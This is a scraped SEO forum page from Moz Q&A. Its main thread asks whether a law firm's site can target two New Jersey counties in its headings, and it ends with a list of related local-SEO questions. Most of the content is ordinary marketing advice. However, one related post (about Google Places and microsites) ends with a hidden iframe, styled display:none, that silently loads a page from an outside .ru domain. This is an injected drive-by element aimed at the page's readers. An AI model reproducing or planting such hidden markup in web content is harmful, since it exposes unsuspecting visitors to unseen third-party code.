Onsite Optimization for 2 Locations on One Site
-
Hello,
We have multiple client who have 2 office locations n the same state in varying counties and would like to have their site rank for two counties. Is this plausible ?
For instance they would like their header tags to read "Lawyer in Middlesex & Monmouth County NJ" Rather than "Middlesex County NJ Lawyer"
Would this be an effective strategy or be seen as stuffing by Google?
-
Hello,
This was exactly my approach to this, and I feared it would be over optimization, however my top ranking competitor seems to be using both counties in their H1s as seen here:http://www.leifertlaw.com/
They also have a resources section linking to arguably pretty useful external links in their footer to links with nearly entirely duplicate content for each relevant town in their service areas: http://www.leifertlaw.com/delray-beach-criminal-lawyer-traffic-attorney.html
This website's optimization should literally be illegal, and seems to be using tactics that are frowned upon...yet it is ranking on the first page for both our target counties.
Should we still avoid using these methodologies?
-
Hi there
I would be careful because sometimes this can lead to over optimization. If they have two locations, make sure you list that on a Contact or Locations page to help users know that there are two locations.
Beyond that, I would look into Schema markup for those locations, as well as citations/listings for each - you can do this through Moz Local, Whitespark, or Yext. I would also do a local SEO audit so that you can make sure listings/citations are consistent. Make sure this is also reflected in your social media channels, especially in each locations verified Google My Business pages.
Be careful with content directed at locations - websites have the tendency to use the same content for multiple locations, switching out only the location. This is a big duplicate content issue and can backfire.
Hope this helps! Good luck!
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
I have a Wordpress site that ranks well and a blog (uses blogger) with slightly different URL/domain that also ranks decently. Should I combine the 2 under the website domain or keep both?
I realize that I am building essentially 2 different sites even though they are connected, but on some local town pages i have 2-3 results on Page #1. Nice problem to have eh? But i am worried as for a lot of my surrounding towns my competitor has the top listing or definitely ahead of me, so i am wondering if i combine or convert my blog into the same domain as my site, then all of that content + links should hopefully propel my site to #1. Anyone have an experience like this? thanks, Chris
Local Website Optimization | | Sundance_Kidd0 -
How to create sites with powerful individual pages to achieve top results.
How to create sites with powerful individual pages to achieve top results . According to MOZ I need to have powerful individual pages to achieve top results my site has a 0 authority so for this reason I need to focus on powerful pages but how do I know if my pages are powerful or not.
Local Website Optimization | | A.V.S0 -
For a generic domain say www.purplecola.com where the company is based in India (IP address there too), how should they best optimize for US search traffic?
Let's just say that they want to target the US market. Should they add a US based IP address? Would love to hear insight from people who have managed this, experienced this or have expertise. Obviously, a US based physical address would help. Thanks!! Chris
Local Website Optimization | | Sundance_Kidd0 -
Benefits of adding keywords to site structure?
Hello fellow Mozzers, This is kind of a hypothetical, but it might have implications for future projects. Do you think there would be any benefits (or drawbacks) to placing pages of a site into a directory named after a keyword? For example, if I had a local store that sold hockey equipment, and "hockey", "equipment", and "hockey equipment" were the main targets being optimized for, would it be better (assuming the actual pages were the same) to structure the site as hypotheticalwebsite.com/about-us/ hypotheticalwebsite.com/hockey-skates/ hypotheticalwebsite.com/hockey-sticks/ hypotheticalwebsite.com/blog/ or hypotheticalwebsite.com/hockey-equipment/about-us/ hypotheticalwebsite.com/hockey-equipment/hockey-skates/ hypotheticalwebsite.com/hockey-equipment/hockey-sticks/ hypotheticalwebsite.com/hockey-equipment/blog/ Additionally, would any of this change if the root domain or the individual pages ALSO used those keywords (or if both of them used it)? pseudonyms-hockey-gear.com/hockey-equipment/skates/ pseudonyms-penalty-box.com/hockey-equipment/hockey-skates/ pseudonyms-hockey-gear.com/hockey-equipment/hockey-skates/ I've got a hunch that some of these are overkill, but I'm not sure where the scale tips from helpful to negligible to actively counterproductive. Thanks, everyone!
Local Website Optimization | | BrianAlpert780 -
Ecommerce Site with Unique Location Pages - Issue with unique content and thin content?
Hello All, I have an Ecommerce Site specializing in Hire and we have individual location pages on each of our categories for each of our depots. All these pages show the NAP of the specific branch Given the size of our website (10K approx pages) , it's physically impossible for us to write unique content for each location against each category so what we are doing is writing unique content for our top 10 locations in a category for example , and the remaining 20 odd locations against the same category has the same content but it will bring in the location name and the individual NAP of that branch so in effect I think this thin content. My question is , I am quite sure I we are getting some form of algorithmic penalty with regards the thin/duplicate content. Using the example above , should we 301 redirect the 20 odd locations with the thin content , or should be say only 301 redirect 10 of them , so we in effect end up with a more 50/50 split on a category with regards to unique content on pages verses thin content for the same category. Alternatively, should we can 301 all the thin content pages so we only have 10 locations against the category and therefore 100% unique content. I am trying to work out which would help most with regards to local rankings for my location pages. Also , does anyone know if a thin/duplicate content penalty is site wide or can it just affect specific parts of a website. Any advice greatly appreciated thanks Pete
Local Website Optimization | | PeteC120 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Moving back to .com site
Hi Many thanks for all the input we have had from the Moz expert team here. We have had some great thoughts and we have finally decided that we need to move our site to an new provider and to go back to one single .com site for all our global traffic, as we cannot get round possible duplicate pages as we cannot use canonical nor alternate links with our current website provider and this has meant a big rethink in the last couple of weeks. We where running two sites, .com which has been running for 7 years and a .co.uk site which was dormant since 2007 until 2013 and used from last year to serve our local customers. Domain Authority for .com 19 and 23 for .co.uk Our new site will serve 3 currencies so we can offer £ $ & € without the need for duplicate pages or local pages. We plan but are flexible about using a 301 from the .co.uk site to the dot com. and have enough data to ensure we can do all 301 redirects at page level from our current .co.uk site to our new .com site. Can anyone provide any SEO tips on ensure we grow our rankings when we make the switch in about 3 weeks. Many thanks Bruce
Local Website Optimization | | BruceA2 -
International site, be visible on both .com and .co.uk?
Do you guys have any tips to increase the visibility in both Google.com and Google.co.uk? The site today, have good visibility in USA, but its poor in the UK... Information: The server is based in US. No region is set in the Google Webmaster Tools. Incoming links are from global regions, mostly US. Do we need to add a specific section for the UK (uk.site.com or site.com/uk/) and specify region in GWT to make sure Google handle this the right way? Its a lot of work, rewrite all the content for another section, which also is in english...
Local Website Optimization | | Vivamedia0